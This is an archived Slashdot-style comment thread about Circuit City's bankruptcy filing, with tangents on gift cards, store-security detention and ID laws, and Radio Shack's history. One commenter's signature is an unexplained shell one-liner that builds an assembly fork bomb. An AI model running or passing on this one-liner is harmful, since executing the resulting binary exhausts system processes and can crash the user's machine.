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Circuit City Files For Bankruptcy
WillDraven is just one of many who writes to tell us that Circuit City, the United States' 2nd largest consumer electronics retailer, has filed for bankruptcy under chapter 11. This news comes as no surprise as the company has been in financial trouble, recently announcing that it will be closing over one fifth of its stores and laying off 17% of its US employees in the process. "Larger rival Best Buy, which is based in Minneapolis, has said it might take over stores that distressed rivals close. Yet a flood of discounted merchandise from liquidating Circuit City stores could hurt Best Buy during this holiday shopping season, said Jefferies & Co analyst Dan Binder."
This news comes as no surprise as the company has been in financial trouble ...
"Financial trouble" doesn't begin to describe it, their stock's been below 25 cents for a few days now. I was debating on blowing 20 bucks and demanding the paper stock be sent to me so I could have fancy roll of toilet paper to put near the can when guests are over. It wouldn't be a horrible investment as I'm sure it'd have other uses too ... lighting cigars with it, using it as wrapping paper for Christmas, etc. A man's gotta increase his perceived wealth among his peers, you know.
My work here is dung.
Wow good link. I find this surprising in that I was always told that once you are in the parking lot, the security for the store wont do anything and call the police on you. The security weren't even allowed to leave the building in case of a grab 'n dash. I know a couple people who shoplifted frequently a few years ago and walmarts and targets, they were never caught, but they were also under the impression that security wont leave the building to snatch up a shoplifter.
"A claim for equality of material position can be met only by a government with totalitarian powers." Hayek
Can you say Vista Failure? I can. So goes the M$ retail chain.
Seriously, what is your deal, dude? Yeah, I get it, you've somehow managed to join the GNAA & Goatse trolls in the ranks of annoyances on this site. You post 140 bytes or less sized comments and hijack threads. If you think this is appreciated by the community, why don't you take a look at your karma.
Seriously, you belong on Digg or maybe even Twitter! (Imagine that.)
Best Buy has the same policy. After a confrontation with one of their rent-a-cops, I no longer shop there.
Tom Swiss | the infamous tms | my blog
You cannot wash away blood with blood
One thing that people don't realize is that when retailers declare bankruptcy, their gift cards are worthless. You're considered an unsecured creditor, which puts you in the back of the line among all other creditors. If there's anything left, you might get pennies on the dollar for what the card is worth--a few years down the road. Some companies plead their cases with the courts to allow gift card holders to use them--after all, if those people lose their card values, they won't be shopping at the now-bankrupt company, especially when the company needs those customers most...
At least Consumers Union is trying to petition the FTC to force companies to honor outstanding cards... But I can only see this happening if a retailer chooses to reorganize--forget it if they're liquidating.
So, the best advice is to use up your gift cards NOW , before the retailer goes under. Given that Linens & Things, Lilian Vernon, Sharper Image, and now Circuit City all went bankrupt in 2008, this problem will get worse FAST.
I'm curious to know if this is a problem limited to U.S. retailers... Is this an issue in Europe, Japan, etc.?
Windows 3.1x calc: 3.11 - 3.10 = 0.00
I'm not familiar on Ohio law, but in many places it's illegal to not have some form of ID when over 18.
Too bad, because if you had bothered to become familiar with Ohio law before opening your mouth you would have discovered that Ohio law specifically says that you aren't required to hand over ID:
"Nothing in this section authorizes a law enforcement officer to arrest a person for not providing any information beyond that person's name, address, or date of birth or for refusing to describe the offense observed."
And BTW, just where in the United States is it illegal not to have ID on you?
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
It depends on the state, but in Colorado, an employee can detain someone if the theft detection alarm goes off.
From the Colorado Revised Statutes, 18-4-407.
If I have nothing to hide, don't search me
Not true. A friend of mine worked security at Wal Mart. He explained to me that even if they saw someone stealing an item they could not go after the person until they leave the building. He would go out into the parking lot to detain them.
I would be surprised if you can find a state in the united states which requires you to carry ID over 18.
http://en.wikipedia.org/wiki/Stop_and_identify_statutes
"Who is the Journal of Quantum Physics going to believe?" --Stephen Hawking
Does this mean I don't have to pay off my circuit city credit card?
More than likely the Circuit City Credit Card is actually just a major bank with a licensing agreement to use the CC logo (look on the back of the card or on a statement for something like a HSBC/Citi/Chase logo).
Plus, them declaring bankruptcy just affects what they have to pay to the people who they owe money not affecting people who owe them money. Much like if you were to declare bankruptcy, your job will still pay you for working there.
In almost all retail, the majority of theft occurs from employees.
Good-bye
It wasn't just the commission based sales force. My friend worked in the stock room for several years, and was making a pretty decent wage, and was up for a promotion within a month (his current supervisor was stepping down).
He was one of those victims of the "we raised your pay too much so now we're gonna fire you."
He wasn't even allowed to re-apply because "he was too qualified."
Firing my friend in that manner lost them a lot of business. I also boycotted Circuit City when that happened. As did all of my other friends, and our families. All in all, that added up to about 50 people.
I suspect that this situation was not unique, and was undoubtedly the killing blow through the heart of the weakened CC.
I'm a recovering former CC employee. I worked there for about 6 months. In that time I went from trainee, to top seller on the floor, to PC tech, to lead at the tech bench. That should actually sum up their biggest problem...turnover. I saw 3 salespeople, 2 techs, and 1 manager, all quality people, leave in the time I was there. I considered these people to be quality for 3 reasons: They had a good understanding of the product, they took the time to understand the customers needs, and they cared more about getting the customer the products they *needed* than the products being pushed in the latest circular. Those people left for the same reasons I did. The position was always really nothing more than a placeholder while getting the job they really wanted. And they got tired of the pressure from above to offer useless "protection plans" and other BS pseudo-warranties. Oh yeah...and the employee discount sucked on anything that wasn't already rediculously overpriced. Everytime I saw someone buy a $20 network cable I died a little inside.
-=Bang Bang=-
Radio Shack has unrecognizably revamped themselves throughout their lifetime. The original name came from back when they were selling equipment catering to ham radio enthusiasts. Then, at some point, they were only selling record players and stereos in the 40's, and suddenly the staff dumbed down - my grandfather had difficulty requesting things like 3200-ohm resistors anymore, or having them made behind the counter by staff.
In the 1960's they declared bankruptcy (just like CC this morning), but a certain Charles Tandy bought them out. Tandy was a leather mogul, and the chain was temporarily renamed... wait for it... Tandy Radio Shack & Leather! Radio Shack was the place for all your leather needs! BTW, I have a genuine Radio Shack bullwhip in my attic. Too bad I never got around to asking for a ball gag and blindfold.
Then they went back to concentrating on low level electronic components. Then they switched the emphasis on to trying to sell home computers. Then they switched to almost strictly consumer electronics.
So I don't think of Radio Shack as a cockroach, whose form hasn't changed for millions of years... It's more like the Phantom, when each one dies, it passes the name and costume to someone in the next generation, who most likely has different tactics and fighting styles.
"Twice half-assed makes an ass whole." --Solomon K. Chang
Oh, come on. Reductio ad absurdum is a valid argument and on the Internet references to rape or Nazis are pretty much de rigeur.
Anyhow it made me laugh.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'm Goth. Just to shine light on a few things:
Futhermore, I know people who cut themselves. They're emotionally unstable, and this is nothing to joke about.
Main How To Ruin A Retail Company
A prime case study on how to ruin a retail company:
Without well motivated sales-persons any specialized retailer can only lose.
Here the shareholders lost too. No tears for them. Why did they not stop the disastrous management plans?
Only long term Circuit City CEO Philip Schoonover, who was only fired six weeks ago, made a fortune by ruining the company. He got more than twice per year of what successful retail chain CEO's got. From the second link:
"Speaking the Truth in times of universal deceit is a revolutionary act." -- George Orwell
I really havn't visited Circuit City since they stopped paying the employees commissions. When I used to enter a Circuit City, an employee would FIND ME, and try to sell me something.
Which is exactly why I don't shop at commissioned stores when I can help it. I prefer to educate myself from an impartial source rather than have propaganda thrown at me. Those sellers were motivated enough to negotiate ridiculous deals on things like TVs, but that's only relevant to me once every ten years.
"I zero-index my hamsters" - Willtor (147206)
My friend, the reason why I complained about the treatment is that it was the store's policy to give a refund, even without a receipt. (Well, with no receipt, you'd get a store credit, technically.) I wrongly assumed that all readers would know that about the place.
So I went back to the store to take advantage of the posted policy--which is lenient to attract customers--and was unhappy at being treated poorly.
If I was trying to get something out of the store that the store was not offering, I would be a dick and you would have a point. But they said, "come on back if you want to return it, even without a receipt, and we will take care of you" and then almost called the police when I did it.
It was probably a clerk having a bad day and a power trip because Best Buy is not famous for such shenanigans. Other shenanigans, yes. But still... a bad experience like that will color your impressions of a place.
I hope you understand better now what happened, and that you are not still defending the store's actions.
You may feel that such policies are silly and too forgiving, but that is another topic. Regardless they remain common in big retail chains here.